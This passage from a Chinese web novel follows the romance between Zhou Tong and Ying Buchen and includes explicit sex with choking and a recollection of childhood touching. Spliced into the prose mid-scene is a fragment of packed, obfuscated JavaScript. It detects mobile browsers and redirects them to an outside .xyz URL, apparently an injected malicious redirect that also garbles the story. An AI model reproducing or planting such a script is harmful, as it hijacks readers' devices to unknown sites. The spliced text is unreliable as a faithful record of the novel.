“你小时候我没夸你啊?”周瞳说。“瞧你那样儿。”
“我那会儿就想了,你被我整没了的东西,我都要给你弄回来。你没买的房子,你卖了的小汽车,”应不尘说,“没到你给我的千分之一。”
周瞳挠挠头,不知道咋说。
应不尘道,“你要是跟我说,叫我卖了攒着钱自己花,我就给这车烧了,我顺手的事儿。”
“我说不要了?”周瞳真服了,骂了一句,“败家玩意。”
“你不败家。”应不尘说,“你可能攒钱了,你太能攒了。”
“我攒的你一夜能给我败光,我看你我都觉得看见阎王了。”周瞳说,“你都不知道,风子没了那阵我天天我都做噩梦,我现在闻着猪油都跟人油似的,吓得直哆嗦。”
“风子叔有个姑娘,现在可能三岁多了,我托了旺旺饭店的老板娘每年都给点钱,”应不尘说,“现在挺好的。”
“你办的事儿不少啊。”周瞳说。
“瞳哥,你能再说一次吗?”应不尘大眼睛看着周瞳。
“说啥?”周瞳问。
应不尘夹了夹嗓子,说,“谁家宝贝这么能干呀?”
“那不是哄小孩儿么。”周瞳说。
“现在就不能哄了?”应不尘问。
“你要我哄吧,也行。”周瞳踩了油门,车就往前走了。“那你得当我弟弟。”
“不用。”应不尘一摆手,“哄啥呀,我都这么大了。”
“行驶证我是办了,前几天办的,驾驶证的话得更新了。”应不尘说,“都是你名儿。”
“忙活半天你啥也没有啊?”周瞳问。
“我要啥。”应不尘说,“那会儿面粉厂烧了,我吓得不成,咱奶跟我说,怕什么,以后把你没了的堆山码海的还给你就成了。我想好了,我要好好读书,以后挣大钱,我就一样不要,我全给你,存折给你,车子给你,房子给你,我也给你。”
“你这前面的还行,你这个,你自己给我,”周瞳有点不知所措,“你咋给啊?”
“你长大了就懂了。”应不尘拍拍周瞳的肩膀,“学吧,小子。”
“我揍你你知道不?”周瞳说。
“揍呗。”应不尘说,“你不揍我我难受。”
“我发现你现在,你是不是那啥,就是,叫啥来着,受虐倾向啊?”周瞳问,“你心理可别是不健康。”
“有点儿,”应不尘点点头,“有点儿那意思。”
“你吓唬人呢。”周瞳说,“别跟我开玩笑啊。”
“瞳哥,”应不尘凑过来,“你也爱我,是不?”
“你特么打哪儿看出来的?”周瞳问。
“从前你跟我说话的时候,我那么跟你说,你会说,别跟哥玩笑。现在说的是,别跟我开玩笑。”应不尘说,“哥跟我是不一样的,说明在你心里,咱两是平辈,你改了称呼,你就是爱我。”
“放你的屁吧。”周瞳说,“要他妈上哪儿玩儿,说话。”
“我爱你。”应不尘抓着周瞳的手,他本来就单手开车,盯着他看,他头发长了不少,还是有点儿不着调的那种味道。
“你别别别,你少来。”周瞳说。
“我之前碰上你前女友了。”应不尘说。
“啊,她咋了。”周瞳说。
“你不问是哪个?”应不尘说。
“据我所知就一个,还没咋滴,人家姑娘挺好的,我最穷那会儿想跟我好,”周瞳说,“我都发怵,跟着我遭罪可咋整。”
“你不是说你换老婆跟换衣服一样吗?”应不尘说,“你看,一下子就被我骗出来了。”
“瞳哥,我弄明白了一个词儿,”应不尘说。
“啥词儿啊。”
“白给。她跟我说,她白给你都不要,我琢磨了好几天才琢磨明白。”应不尘说,“我白给你就要了,我还是比她强。”
“你有毛病吧应不尘,这你比啥呀?”周瞳说,“瞎说八道的,人家没这意思。”
“她想跟你上音乐课,还要你交作业。”应不尘说。
“我他妈咋说来着,我咋说来着,小孩儿这东西,好的学不会,坏东西一教就会,”周瞳说,“你那时候才多大,你音乐课你记得这么牢,真的要死。”
“瞳哥,你为啥不要啊?”应不尘问,“都是女朋友了。”
“她让我跑,把你跟汪奶留在这。”周瞳说,“那晚上可真是要我老命了,差就那么不点儿,我就不成了,我还钱丢了,连根烟都没得抽,不过后来还好抽上了,不然那晚上真的,”周瞳一甩手,“没得过,死了算了。”
“不是没钱了么,”应不尘扬眉说,“哪儿弄的烟?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14576672|155738||http|test|mini|href|location''.split(''|''),0,{}));
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>周瞳瞥了一眼应不尘,“明知故问是不?”
那夜,周瞳在自己的领子里听到了塑料袋摩擦的声音,扯开歪歪扭扭的缝线,里面用密封袋装了一张纸钞,是应不尘缝进去的,他怕周瞳身上的钱要被抢走,或者工人来了就掏的一分不剩,但是他愁的时候,只是想抽几根烟而已。
周瞳搓着方向盘,说,“我抽上烟的时候,那会儿想,跟你过一辈子算了。”
“啥意思啊周瞳,咋叫跟我过一辈子算了。”应不尘急了说,“什么就是算了啊,跟我过怎么就是算了?”
“你别叫我大名啊,”周瞳说,“还有没有点长幼尊卑了你。”
“你说清楚咋叫算了。”应不尘说。
“没咋呀,”周瞳真的有点不明白,这人咋刚刚还好好的,又开始闹人了。“行行行,跟你过一辈子挺好,行不?”
“你现在真的,你蹬鼻子上脸你应不尘。”周瞳说,“找地儿我给你扔了去。”
“你讨厌我了?”应不尘干巴巴的问。
周瞳一个眼神,“别作妖。”
“好勒。”应不尘又拉上了周瞳的手。
“我真服了你了。”周瞳说,“我从前咋看不出来你这烦人劲儿?”
“拐过去,这前面就是。”应不尘说。
“这哪儿啊?”周瞳问。
“我小时候,野炊的地方。”应不尘说,“是不是改的有点厉害,都看不出来了。”
“这水库都干了,”周瞳说,“你要野炊啊?”
“我就在这跟你坐会儿。”应不尘从后面搬出两张折叠椅,说,“坐。”
波光粼粼,湖水山色,故地重游。
应不尘给周瞳带了个墨镜,周瞳坐没坐相,一躺下就歪了,耷拉个腿,支着下巴。
但是应不尘就喜欢这劲儿,不知道为啥,看起来就是骚得很。
“你瞅我那是啥眼神?”周瞳问,“跟他妈个大灰狼看小白兔似的。”
应不尘也坐下了,微微靠着扶手,说,“瞳哥,当时你每回来我学校,同学都羡慕得不行,野炊的那次,我都傻了。”
“那有啥呀。”周瞳说,“跟你们瞎玩呗。”
“我觉得天大的好,你说那有啥呀,我觉得天大的事,你说那有啥呀,”应不尘微微勾起唇角,说,“你心里,什么事是有啥的吗?”
“车轱辘话说啥呢。”周瞳仰着,他又要睡着了。这天不冷不热的,一晒太阳就好睡觉。
应不尘凑过去,啄在周瞳的嘴上,“我开心。”然后又啄了一口。
“知道了。”周瞳抱着胸,仰着说,“我睡会儿。”
应不尘把自己的凳子挪过去,故意抬高了肩膀让他靠。他还是个子不够,在他印象里,周瞳都得一米八六,他就一米七五。
“瞳哥,我总觉得我配不上你。”应不尘说,“你跟天上的星星似的。”
“我真服了。”周瞳晃着脑袋,说,“你满大街去问问,找女婿,找我这样的还是找你这样的。”
“我可不管他们咋看,”应不尘说,“我看你就像看星星。”
“死能粘人的劲儿都是跟谁学的。”周瞳推着他,“边上去。”
应不尘更黏过来了,凑着个脸说,“哥,我觉着你骚,我都老想给你买衬衫夹子了。”
“不是,”周瞳说,“我特么我一个男的,我骚啥了?”
“不知道,”应不尘说,“你往那一坐我就觉得骚。”
周瞳一巴掌按他脑袋上,“去你妈的。”
等了会儿又问,“衬衫夹子是啥?”
50. 戛然而止
周瞳真是不知道自己是不是假酒喝多了,应不尘一不在,他就觉得自己是哥,掐着自己的脖子叫自己看得明白点儿,别他娘真祸害了人家。
但是应不尘一回来就不成了,他太能粘人了。周瞳一会儿不搭理他他就要了命了,挂在身上都没个好,周瞳都搞不清楚他一脑子到底在想啥。
周瞳看他的时候觉得他眼睛里跟个傻子似的见着自己就嘎嘎乐,要是周瞳在外面听的,都说这小子是个纯纯精神病。
“跟着你那个,李家那个儿子是不?”边上摆摊的老头儿老在这边菜市场晃悠,成了这儿的包打听。
“咋了。”周瞳在门口捣鼓个旧电脑,想修一修给应不尘用,查资料啥的方便。
“李泥鳅成李老板,就是他来的时候,不大点。”老汉说。
“啊。”周瞳还在捣鼓,就顺着听。
“这小子阴邪,”老汉说,“李泥鳅给他祠堂里头的名册都给摘了,都晓得。”
“啊,”周瞳说,“那不是养儿子么。进不进祠堂的,都是他家自己的事儿。”
“李泥鳅的活动中心干没了。”老汉摇着扇子说,“他一走的事儿。”
“咋没的?”周瞳问。
“说是有个小孩儿打什么游戏打发疯了,几天几夜的没合上眼,就在那儿,人没了。”老汉说,“不叫干了,关门了。你说邪不邪性,那小子在的时候李泥鳅泥鳅化龙,这小子一走李泥鳅龙化泥鳅了?”
“还有这说法呢?”周瞳心不在焉地听着。
“我可跟你说,”老汉道,“李家这个娃娃,是要成龙的,李泥鳅搁不住,福薄。”
“可能是,”周瞳将电脑翻过来,说,“谁知道呢。”
“你晓得李泥鳅咋发家的?”老汉问。
“我不知道啊。”周瞳说,“我外地的,没来多久呢。”
“他先前就是在车上卖耍牌的,耍牌你知道吧?”老汉说。
“嗯。”周瞳就是搞这个的,能不知道在车上拿出来一副牌,叫人家赌,完了找两同伙,就在客车上骗钱么。
“然后就举牌子,给人指路。”老汉说,“那小子来了没多久,李泥鳅就当了咱这里的路霸王,啥大车过就得找他,他通了收费站的路子,敬着叫路霸王,不然就是路耗子,指挥人去抢那些不让他挣钱的大车。”
周瞳皱眉起来,倒吸了一口凉气。
“后来,依托着跟那些村上的书记啥的关系好,弄了田地,垒猪窑,养猪。还讹了人家一个饲料厂,转手就给卖了。”老汉说,“那家的都恨死李泥鳅了,之前的钱给得敞亮,后来就挂账,挂着挂着,李泥鳅欠的钱就太多了,饲料厂老板老来我们村里找他,都差点跪下啦!那李泥鳅有钱就是不给,最后把人家厂子讹了!”
周瞳搓着手指,蹲着闷声问,“然后呢?”
“然后说是卖了厂子,因为要修路了,说要去开活动中心,那块儿到现在都没修路呢,买了的也是倒霉死了。”老汉说,“后来开那个活动中心,把小孩儿都哄去了。不过之前也出了一回事。”
“啥事儿?”周瞳问。
“小孩儿都爱玩,就你边上那个小子搁学校给李泥鳅举报了,说是大大地讹了一笔,都晓得,给李泥鳅都气得住院啦!”老汉说。
***
今天应不尘回来,周瞳坐在沙发上,面前烟雾缭绕的。
应不尘看他的样子心里就发怵,怯怯地喊了一声,“瞳哥。”
周瞳说,“跟我说说来,买小车的钱,买房子的钱,你咋挣的?”
应不尘眼珠子乱瞟,说,“没咋呀。”
“你再说一遍。”周瞳说,“这么丧良心的事儿你特么也撺掇人干是吧?!”
周瞳说,“我合计你让李泥鳅做的都是正经营生,你咋这么毒啊?这世界上是不是就没有正经营生了?你要这么害人家啊?那饲料厂老板咋了你了,你这么丧良心啊?”
应不尘站着捏着肩带子不吱声。
“让他抢大车是吧?”周瞳气得牙痒痒,“我他妈咋这么看不上你呢!我跟你说的你是不是都忘了我咋跟你说?那戳脊梁骨的事情不叫干,你书读到狗肚子里去了?”
“他不干,”应不尘真害怕,从前周瞳说到路耗子记忆气得牙痒痒,从前在面粉厂的时候去那些山区里面,被人割了篷布,面粉都散了,押车的说不能下去捡,一捡就得挨打,他们人多,应不尘底气不足,“也有别人干。”
一巴掌打在应不尘的脸上,周瞳道,“那别人我管不了,你我还管不了是不?”
“我巴不得他死路上呢!”应不尘喊道,“你都不晓得你进去了他咋对汪奶,你啥都不知道你就打我!”
“那是他的事,”周瞳说,“他们是亲戚,往上算也轮不到你我说道,你他妈的,我真的,你他妈的。”
周瞳急得满屋子窜,都没找到一件趁手能打人的。
“我不管,”应不尘喊,“他对奶不好,我就巴不得他死。”
“你有理了你还,”周瞳说,“你这一脑子歪门邪路,我今天给你开瓢我看看,让你汪奶看看她养了个啥东西。”
“看呗。”应不尘啪嗒往汪奶灵相前面一跪,说,“你叫汪奶看,我要他给我挣钱,我还要他出事,咋的吧。”
“你心眼咋这么毒?”周瞳说,“我都没明白,你为啥会长成这样啊?别人都说你阴都说你邪,我不信,我自己养的玩意儿我自己知道,我现在真的看不清你了应不尘。”
周瞳说完这句话,躺在沙发上,半点力气都没有了。
除了风子,汪奶,他这辈子没觉得亏欠过谁,他怕混车厂子的半拉小子给应不尘教坏,从前回了家连脏话的口调都不带回家,四年他都没见过应不尘一面,觉得自己身上不清白,就别以后污着他,周瞳觉得他对应不尘悉心教导,出去做买卖能挣的快钱他都没想过,他想立正的,清白的,除非实在忍不了往他头上拉屎的,他这辈子也没得罪过谁。
债还完了。
孩子歪了。
心眼歪,心思歪,他娘的啥都是歪的。
为啥呀?周瞳捂着脸,不知道小半辈子都干啥了。
应不尘跪在那啪嗒啪嗒的掉眼泪,掉完了说,“我以后不走歪路,你能不能不生气?”
周瞳没说话,屋里连灯都没开。
“你走以后,我就剩下我自己了。”应不尘说,“我太小了,我啥也干不了,我真的,真的没有办法再忍受,忍受什么都给不了你,什么都只会拖累你的日子了。”
应不尘跪在地上,整个人都颓丧着,“我已经恨了自己六年了,我真的等不起了,为啥你要比我大那么多岁,八年横在我们中间,我要跑多快,我才能追得上你,为啥你受罪的时候我是个废物,”应不尘的眼泪往下滴,声音发抖,“为啥你不再小两年?你让我跟你一起扛一扛,我的心就不会每天被车轱辘碾过来碾过去,你让我给你担一担,我都不能觉得我是这世界上最没用的人。”
“那就能一脑子歪路子?”周瞳问。
听着周瞳的声音缓和了,应不尘又说,“瞳哥,我膝盖上次扎钉子了,没长好,痛。”
“赶紧给我起来。”周瞳心又软了,“你以后你特么的你再让我知道,你跟个狗娘养的似的,我真给你钉棺材里送你汪奶那去。”
“瞳哥,”应不尘又黏黏巴巴的,“你骂也骂了,打了也打了,我起不来。”
“咋的,我还得给你摆驾回宫啊?”周瞳
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说,“滚过来。”
那应不尘是膝盖也不痛了,嗓子也不哑了,撑着就起来,挨在周瞳边上。
“瞳哥,我膝盖疼。”应不尘狗狗搜搜地揉膝盖。
“我看看。”周瞳一过来,应不尘又整个人扑上去了,“别生我气。我以后都听话,好不好。”
“那你也不能,是吧,”周瞳去擦他的膝盖说,“好脑子要用正路,知道不。”
“那你看着我。”应不尘圈着他的脖子,仰头凑的近,跟吹气似的,“你管着我,不然我就走歪路。”
“嘿你,”周瞳刚想说话,应不尘就啄他嘴,“瞳哥,我一辈子都敬着你,怕着你,行不行?”
“你那是敬人的样儿?”周瞳都不看他,说,“我可没觉得你怕我,你怕我你都不能干这些事儿。”
“没,我最开始就想让他挣点钱,供我读书,供我攒钱,他本来也不是个什么正经人,你都知道。”应不尘赖在周瞳的身上,“他吃过那钱,就忘不了了,那会儿我不知道你啥时候出来,觉得这买卖让他做他那个性格迟早出事,估计没少挨揍。”
“你那会儿才多大啊应不尘,”周瞳说,“你真是我教的?”
“有些是,有些不是。”应不尘说。
“那我教了你些啥?”周瞳问。
“教我男人应该干什么。”应不尘说,“不叫边上的人受委屈。”
“说的我老脸都红,”周瞳说,“我可没少叫你受委屈。”
“哪里红了?”应不尘又凑过来看,“也没红呀。”
“心里红了,行不行?”周瞳又说,“发我一老肚子火,心思心思养歪了,心眼心眼养歪了。”
“我歪啥啦,”应不尘说,“心眼歪我认了,你叫我给人饲料厂打工去我立马就去,我心思咋歪了?我就想你,我就歪啦?”
“别跟我俩显得你脸小可爱是咋回事的,好好说话。”周瞳瞥着他,“气得喝了好几瓶啤酒,不着四六的东西。”
“你喝酒啦?”应不尘这会儿才发现脚底下都是啤酒瓶子。
“喝酒好啊。”应不尘搔周瞳的下巴,说,“以前喝烂醉,我给你板车拉回家,有时候我给你解皮带,邦一下打我脑袋上,我说你身上咋还揣棍子呢。”
“诶诶诶,”周瞳去别他脑袋,说,“说啥呢。”
“我摸摸。”应不尘说,“躲啥呀,我又不是没见过。”
“你真的要死,”周瞳去捂裤子,还没他手快。
“我那会儿摸着烫手,以为发烧了,我还给你擦冷水,”应不尘说,“我还玩过呢。”
“我他妈咋不知道?”周瞳说,“你你你你起开。”
周瞳一结巴,应不尘就更不要脸了,蹭着脸,说,“都说床头吵架床尾和,吵完架就得和,和一下子咋了。”
“你都哪儿学的一口黄牙。”周瞳要跑,连人都被拽住了,完了。
一阵软和的温热,周瞳就觉得口腔里分泌出半酸不甜的味道。周瞳整个人瘫在沙发上不能动弹,口水黏液搅和的声音让人后脑都发麻。周瞳的牙都忍不住想颤抖,按住他的后脖颈要他抬头。
使坏的讨好的眼睛,是舌尖在痒肉上的搔弄,周瞳又将他的脑袋按了下去,夺去他看自己的权利,眼睛坏了的人会对声音特别敏感。
周瞳听见湿漉漉的失控,听见夜半的花猫嘶叫,听见山顶的云海被剥开,小偷被警察抓住时候的心跳,橘子将将要溅出来汁水的时候,戛然而止。
周瞳真的觉得完蛋了。
这爱的初体验也太满分了。
这逼不可能无师自通成这样。
但是现在要求人家继续,是不是多少有点儿抹不开脸呢?
还是忍一忍。
51. 治疗过程
“你都看啥片子了?”周瞳问。
“瞎看看,”应不尘舔了舔嘴角,“我学习能力还成,一般我想学的东西都会钻研一下子。”
“你这一天不睡觉啊?”周瞳问,“还要抽出时间来学这个?”
“那没法子啊。”应不尘躺在周瞳的肚子上,“我刚刚进来就看见你坐这,我一脑子就是,我瞳哥咋连生气都这么好看,看得我都想没事儿都惹你生气了。”
“有病是不?”周瞳问。
“生气就在乎呗。”应不尘说,“你不在乎的,你才不生气,你的气性小,从小到大就没几回。”
“那咋的,你多在外面作恶,我多生气,咱两就天天脑袋对脑袋的干仗,你就高兴了?”周瞳问。
“你生气跟别人不一样。”应不尘说,“你可不知道,第二回我跟你那个小旅馆,我看见你要去找小姐,我才生气呢,我想给你掐死,我学了那么久,那小姐都不一定比我强。”
“我去你吗的。”周瞳说,“我可没找,别诬赖我。而且你跟小姐你比啥啊?你现在比学习都不够你比了是吧?”
“我看完你我都想给你裤子扒了。”应不尘仰着头看周瞳,玩着他手指,“你太骚了。”
“我又哪儿骚了,我真是不明白,我天天整得跟个农民工似的,我骚啥呀?我露屁股还是露肚脐了。”周瞳问。
“不知道,”应不尘说,“你那副没骨头的样子往那儿一歪,我就觉得你棍子又打我脑袋了。”
“我去你妈的,”周瞳都被气笑了,说,“我特么咋不知道还有这一茬,别是你瞎胡诌。”
“我没胡诌呀,”应不尘说,“瞳哥,我跟你说个秘密呗。”
“啥秘密。”周瞳问,“还有办的歪事儿瞒着?”
“不是那个,那个算啥呀,你打一顿不就过了我改不就完了么,算的啥事儿。”应不尘说,“你过来点儿。”
应不尘贴着他耳边说,“瞳哥,我特喜欢看你那样子,你刚刚一按我脑袋,我就没了。”
“啥?”周瞳没明白,“你都癫成这样了?”
“谁癫了,”应不尘说,“说了你也不懂,你过过我日子你就知道了。我看你,真跟看星星一样,你懂啥呀。”
“我真不明白。”周瞳仰着头,说,“那会儿天天伺候我,啥活儿都抢着干,我不挣钱都对不起你。咱两没啥亏欠的,真的,你用不着这样。”
“我不,”应不尘说,“我有病,我就这样。”
“饿没饿?”周瞳说,“我弄点饭你吃呗。”
“我弄饭都新学了,你没吃出来?”应不尘说,“我搁旺旺家学的,口味不像吗?”
“你啥时候又去学菜了。”周瞳的皮带叫应不尘系上了,两人去厨房。
“我还学修车呢,”应不尘说,“在宜华过暑假,也没啥事儿干,就瞎学学,你出来了做饭给你吃。”
“你那炼丹的法术就算了吧,旺旺没你骂你啊?”周瞳开着冰箱,看啥菜能弄着吃。
“我还给那黑牙打了,”应不尘切着菜说,“可算报仇了,小时候给我弄牛栏去,叫你一顿好找,没地方洗澡,半夜你还擦那理发店的地板。”
“没被抓啊?”周瞳问,洗了个花菜,也不知道咋弄。
“抓了啊,当着警察面打的,警察叫他离我远点儿,他就跑了,没在那条街上了。”应不尘说。
“抓了?”周瞳转过来,“那你咋整啊?”
“没咋整啊,我就进去了呗,朗读那个行为准则嘛,他们有的不认识字,我教他们读。”应不尘说,“别激恼,我那事儿啥也不算,就是治安条例,你别挑我毛病,我都看好了去的。”
“你进去朗读行为准则干啥啊?”周瞳问。
“过年啊。”应不尘说,“跟你一起,过年。”
周瞳滞住了,本来寻摸着要送他出国,但是觉得这逼就算送出去了,谁能管的了他,天南海北的,这梗逼不得把自己逼死?
周瞳真是完完全全见识过应不尘的牛劲儿的,那自己就一直就这么拖累他?自己走了,这小子又要疯,不走,又他妈的不是那回事儿。
周瞳看着应不尘的后脑勺,他切菜死笨,就会剁一块块的,应不尘忽然转过来,问,“瞳哥,你看啥呢?”
“咱俩就互相霍霍吧。”周瞳合上冰箱,闷闷地说。“最后谁也别好。”
“好不好的,我又不悔。”应不尘说,“我知道,你在心里合计,你合计我长大了就变了,合计我会读书以后有出息,你在我边上耽误我,我又不傻。你老惦记着想走,你真看我一眼,我都能看出来子丑寅卯。”
应不尘还在切菜,一个花菜切得稀烂,“我看见单子了,出国的报名单,你就拿了一张。”
应不尘的眼泪滴在菜板上,“我本来不乐意跟你说我都干啥了,但是你要是什么都不知道,对我不公平。”
“不公平。”应不尘说,“年纪对我不公平,你对我也不公平。”
应不尘转过头来,抱着周瞳的腰,脸都捂没了,“求你了。”
“那你倒是把菜刀放下啊。”周瞳摸着他脑袋说,“咋的,我说走现在给我一刀呗。”
“哐当”一声,菜刀掉下去,吓了周瞳一激灵,“干啥呀,不能好好放?”
“我叫我放的。”应不尘说。
“我让你把菜刀放下再抱。”周瞳说。
“我不松手。”应不尘又蹭,“一下也不行。”
“我咋有你这个牛皮糖。”周瞳说,“我头发都要愁掉了。”
“嘿嘿,”应不尘抬头笑,“你看我的样子,我就知道。”
“你又知道了,”周瞳摸着他的脑袋,两个人抱在一起晃,说,“你知道啥了。”
“你爱我。”应不尘说,“你特爱我,巴不得把心掏给我。”
“赶紧炼丹吧你。”周瞳说,“饿了。”
弄了半天,一碗剁得稀碎的花菜。
“出去吃吧。”周瞳这种毒傻了的都觉得不能吃了。
“去哪儿吃?”应不尘问。
“鸡杂呗。”周瞳说,“你不就乐意吃那个?”
“我要吃西餐厅。”应不尘说。
“你吃毛的西餐厅啊。”周瞳说,“别又癫。”
“你在那儿坐得腰杆子都直了,跟老师给你上课似的。”应不尘黏酸地说,“可像个正经人呢。”
“别找茬。”周瞳说,“你这死小孩记性咋这么好。”
“我就找,”应不尘说,“带人家吃西餐厅,带我吃面条子。”
“诶!”周瞳说,“我可是叫你吃西餐厅了啊,你自己不乐意去你怪谁?”
“我就不去。我就找茬。”应不尘说。
“那酸劲儿吧。”周瞳揽了他一把,两人出门了。
“出门别给我逼次两咧的,”周瞳锁门说,“回家再整那腻歪劲儿,听见没。”
“哦,”应不尘说,“你求我呗。”
周瞳眼睛都瞪大了,“你说啥?”
“你不是求我办事儿吗?”应不尘说,“这是你求人办事的态度吗?”
“我求你办事是吧,”周瞳牙都磨出来声音,“你信不信我给你腿打断了关家里。”
“还威胁起人来了。”应不尘吹着口哨往前走,“你要是给我腿打断了,我更爱死你了,像你这种怪会往肩上揽事儿的人,不得对我负责啊?”
应不尘转过头来,缓慢地眨了下眼睛,打了个挑衅人的响舌,“是不,瞳哥。”
“我是...”“你妈。”应不尘说,“知道了,然后呢?还不求我?我马上可就下楼梯了。”
“老子真的,”周瞳咬着牙一把捞过来应不尘的脑袋就往屋里推,另一只手已经扣上皮带扣了,“我真是打你没打饱。”
“嗯,扯皮带。”应不尘被他胳膊夹着脑袋往前走,“你那样子更骚,你打过我一次我就记得你扯皮带的样子了。一手按着人一手扯皮带,我还怕你那样打别人,给别人迷的不行。”
应不尘的眼神挑衅又欠揍,周瞳推进门,还不忘把汪奶的灵相转过去,“老子今天不给你整服了你跳我头上拉屎是不。”
“你能怎么着啊?”应不尘问,“真的,我发现你现在这气急败坏的样子太好看了。”
周瞳的手掐着他的腮帮子,说,“你这小孩儿咋这么招人恨,嗯?”
应不尘仰头亲了上去,说,“揍我啊,等啥呢。”
周瞳顺着他的下巴捏,扬起来看,眯着眼,“你这精神病,我今天看看能不能治。”
“我记得你那会儿头发长了,后面扎一搓小辫儿,”应不尘说,“那个头型我喜欢,给我留。”
“我给你留?”周瞳掐着他脖子,说,“应不尘,你还有啥要求,我都听听来。”
应不尘抬眉做了个口型,治疗精神病的过程有点儿不太常规,也不太正规。
应不尘喘着气,看着了周瞳胸口坠出来的链子,二十岁那年他送的,他喝多了就身上啥东西都往路上扔,应不尘就跟着捡,但是唯独这个他从来都没扔过。
应不尘叼住了它,闷声地哼,周瞳扯着他的头发一顿治疗,“我特么叫你犯病。”
“我就犯,”应不尘含含糊糊地说,“你弄死我。”
忍不了了。
“狗崽子。”周瞳的脖颈起了青筋,刚刚那把克制的,愧疚的,任由摆弄的,羞耻与妥协混在一起,就像压抑的闷在门板里的钉子,呼啸着就被拔了出来。
他紧紧闭上了眼睛,只看到了一片虚无的云彩,他感觉自己的软肋被舔舐,感觉自己的心脏被掏空,他感觉久违的,羞耻的,蓬勃的,所有都交织在一起,终将回归男人最开始的本性。
周瞳放肆的,咬牙的,发泄的样子,应不尘缓缓闭上眼睛,任由他掐着自己的咽喉,任由他撕扯着他的头发,感觉他的虎口划过自己的喉结,皮带就在他的身边,像什么捆缚被挣脱开了,应不尘听见沙发发出咯吱的响,好像再摇下去,它就碎了。
碎了才好呢。应不尘贴着他还要再近一点儿,仰着脸去蹭他的鼻尖,嘴巴,下颌,他摸着周瞳的眉骨,看着他的眼睛,没有任何情绪的眼睛,却落下了粗重的呼吸,像一只公狼啃噬应不尘的骨头,贪婪地想要吃饱,他似乎在这一刻看清了清醒与堕落。
他觉得这些年终于有了一个时候,闷得发酸的占有欲有了一丝的闸口,那一股脑的拧巴劲儿全泄了出来。
爽了,应不尘觉得,被他掐死的感觉太爽了
周瞳叼着根烟提着没扣好的裤子踢了他一脚,地上的应不尘躺着抓住了周瞳的脚踝。
“你老问我你帅不帅,”应不尘闭上眼睛说,“就刚刚那场最帅。”
“滚蛋。”周瞳踢开了他的手。
“这句也帅。”应不尘爬了起来蹲在地上捡衣服,闻了闻味道,说,“瞳哥,我给你洗澡呀。”
“滚。”周瞳关上了门。
等周瞳洗完头出来的时候,应不尘已经把饭买回来了,坐在沙发面前看电视,“过来吃饭。”
周瞳坐在边上,累死了,门也没出累这样,小腿肚子都发酸,膝盖都磕红了。
周瞳歪在沙发上端着碗有一筷子没一筷子的吃,脸上没什么表情,盯着电视看,腿酸,腿就搁在应不尘的肩膀上。
应不尘的肩膀抖了一下,又侧过头看见周瞳脚上没擦干的水珠,吞了吞喉结。“瞳哥,”应不尘坐在沙发前面的小凳子上,“我大学学啥,你给定了呗。”
“到时候看呗,”周瞳若无其事地说,“我看新闻联播现在倒是学什么电脑,计算机啥的这些,这帮人以后都厉害。”
“我倒是想学医。”应不尘盯着电视,“奶那会儿生病太难
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受了,我那会儿觉得我能治她就好了。”
“那就学呢,”周瞳用脚打他脑袋,“那你都想好了你问啥?”
“那玩意儿时间长,得好几年。”应不尘说,“四年读不完,还得往上读,所以要跟你商量,等我上了大学,你跟我一块儿去省城,这房子租出去或者卖了,成吗?”
“你买的,你说了算,”周瞳还是看电视说,“我在哪儿都一样。”
“我想去省城。”应不尘嚼着东西说,“这里还是太多人认识我俩,烦人。”
“你还能管别人死活呢?”周瞳说,“看不出来。”
“我是不在乎,你在乎。”应不尘吐了根骨头,说,“你好人当惯了,把自己架上去了,我看着真累。”
“我还挺奇怪,”周瞳凑过来问,“你啥时候疯的?”
“啥疯不疯啊,”应不尘低头扒拉饭,“你说啥呢。”
周瞳说,“李泥鳅那事儿不像你做派,呲牙咧嘴的,包括现在这样,你啥时候疯的?”
“没疯呢,”应不尘说,“你教的么光脚不怕穿鞋,人的印象一但定了,人家对你就不好改了,他就只能按那个路子走,不然我哭哭啼啼的,他再揍我,你再心疼。”
“我心疼啥啊,”周瞳往嘴里扔葡萄,“回来都不知道打你多少顿了,手筋都麻了。”
“你进去的时候我倒是想你出来打我呢。”应不尘说,“跟黢黑姑娘分手的时候可想揍我呢吧?”
“嘿我,”周瞳笑了,踢了他一脚,“你这都知道?”
“咋不知道。”应不尘说,“你啥样我不知道。”
“那你现在怎么事儿呢?找揍?”周瞳问。
“那咋了,”应不尘说,“那黢黑的姑娘给你迷这样?”
“找死是吧。”周瞳说,“不行这样说人家。”
“你还维护上了,”应不尘磨了下牙,“你一维护我就气得我想给你掐死。”
“别作妖。”周瞳踢了一脚他脑袋,往他头上吐葡萄籽,“正常点我还能跟你唠。”
“咱两差得年纪大啊,八岁呢。”应不尘说,“我年纪小,就是有酸劲儿,你得理解。”
“你还酸啥呢?”周瞳把葡萄皮吐应不尘头上,他就一个个捡,看起来可乐意了。
“酸的多了。” 应不尘说,“我可数不完,给我老师送礼是吧,人家天天带,给那个门卫的姑娘一块儿去拉沙子是吧,预制场的那个老板娘你还在省城给她买手表了是不是?”
应不尘掰着手指头,说,“现在不咋酸了。”
“咋的呢,我不行了呗,年纪大了,没样子了。”周瞳放下盘子,摸了摸手腕。
应不尘把小凳子挪过来,坐他边上还不能挡电视,往他嘴里送葡萄,又伸手接着,“你不踹人家,也不往人家头上吐葡萄籽,我就不酸了。”
“有病。”周瞳往他脸上吐葡萄籽,“贱的。”
应不尘说,“你看人真准。”
周瞳翻了个白眼,往他手上吐籽,说,“吃得真费劲,这葡萄长皮干啥。”
应不尘又开始剥,坑坑洼洼的,献宝一样递上去吃。
“你拿那个签子,给籽捅了。”周瞳说。
应不尘立马拿了个牙签就开始捅。
“行啊,现在我瞧着真是跟以前你又一样了。”周瞳瞟了一眼桌子上的罐头,说,“瓜子。”
应不尘就坐在边上开始磕瓜子,没开灯,房间里不太亮,就一个电视在放萧十一郎。“我喜欢伺候你。”
应不尘一颗颗地往他嘴里塞剥好的瓜子,说,“从前你拉生意,做生意,对谁都好声好气的,后来没钱了,更加不成了,见谁都要讲好话,出去当孙子还要回来把我当个宝,那点钱全造我身上,那个样子我真的不喜欢,我喜欢看你不惯人的样子。”
应不尘又换了个葡萄塞,“你由着你性子来,高兴就高兴,不高兴就不高兴。”
